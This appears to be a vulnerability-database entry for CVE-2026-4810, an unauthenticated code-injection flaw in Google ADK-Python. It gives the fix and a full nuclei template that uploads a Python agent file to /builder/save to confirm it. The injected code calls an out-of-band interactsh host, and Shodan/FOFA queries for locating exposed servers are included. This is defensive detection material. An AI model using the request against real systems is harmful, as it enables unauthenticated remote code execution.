CVE-2026-4810· google / adk-python· CWE-306, CWE-94
Google ADK-Python - Unauthenticated Builder Endpoint
criticalseverity
9.3CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.
Impact
Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.
Fix
Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.
How to confirm it
Send: POST /builder/save ; GET /list-apps?detailed=true
Positive when: status_code_1 == 200 && body_1 == "true" and status_code_2 == 200 && contains(body_2, concat("\"", agent_name, "\"")) AND contains in interactsh_protocol "dns"Run it with nuclei: nuclei -id CVE-2026-4810 -u <target>
The full check
id: CVE-2026-4810
info:
name: Google ADK-Python - Unauthenticated Builder Endpoint
author: dwisiswant0
severity: critical
description: |
Google Agent Development Kit (ADK) 1.7.0 through 1.28.1 and 2.0.0a1 through 2.0.0a2 on Python (OSS), Cloud Run, and GKE contains a code injection and missing authentication vulnerability, letting unauthenticated remote attackers execute arbitrary code on the server, exploit requires no authentication.
impact: |
Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.
remediation: |
Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.
reference:
- https://github.com/google/adk-python/blob/main/CHANGELOG.md
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/U:Amber
cvss-score: 9.3
cve-id: CVE-2026-4810
epss-score: 0.02196
epss-percentile: 0.82633
cwe-id: CWE-306,CWE-94
metadata:
verified: true
max-request: 2
vendor: google
product: adk-python
shodan-query: title:"ADK" http.component:"uvicorn"
fofa-query: body="ADK" && header="uvicorn"
tags: cve,cve2026,adk,google,rce,unauth,code-injection
variables:
multipart_boundary: "{{md5(date_time('2006-01-02T15:04:05Z07:00'))}}"
agent_name: "{{rand_text_alpha(1)}}{{rand_text_alpha(7)}}"
rand_instruction: "{{rand_base(12)}}"
http:
- raw:
- |
POST /builder/save HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, zstd
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary={{multipart_boundary}}
--{{multipart_boundary}}
Content-Disposition: form-data; name="files"; filename="{{agent_name}}/agent.py"
Content-Type: text/x-python
import requests
response = requests.get("http://{{interactsh-url}}")
print(response.text)
from google.adk.agents import Agent
root_agent = Agent(name="{{agent_name}}", model="gemini-2.0-flash", instruction="{{rand_instruction}}")
--{{multipart_boundary}}--
- |
GET /list-apps?detailed=true HTTP/1.1
Host: {{Hostname}}
Connection: close
matchers-condition: and
matchers:
- type: dsl
dsl:
- status_code_1 == 200 && body_1 == "true"
- status_code_2 == 200 && contains(body_2, concat("\"", agent_name, "\""))
condition: and
- type: word
part: interactsh_protocol
words:
- dnsReferences
Use this check only on systems you are authorised to test. Where the data comes from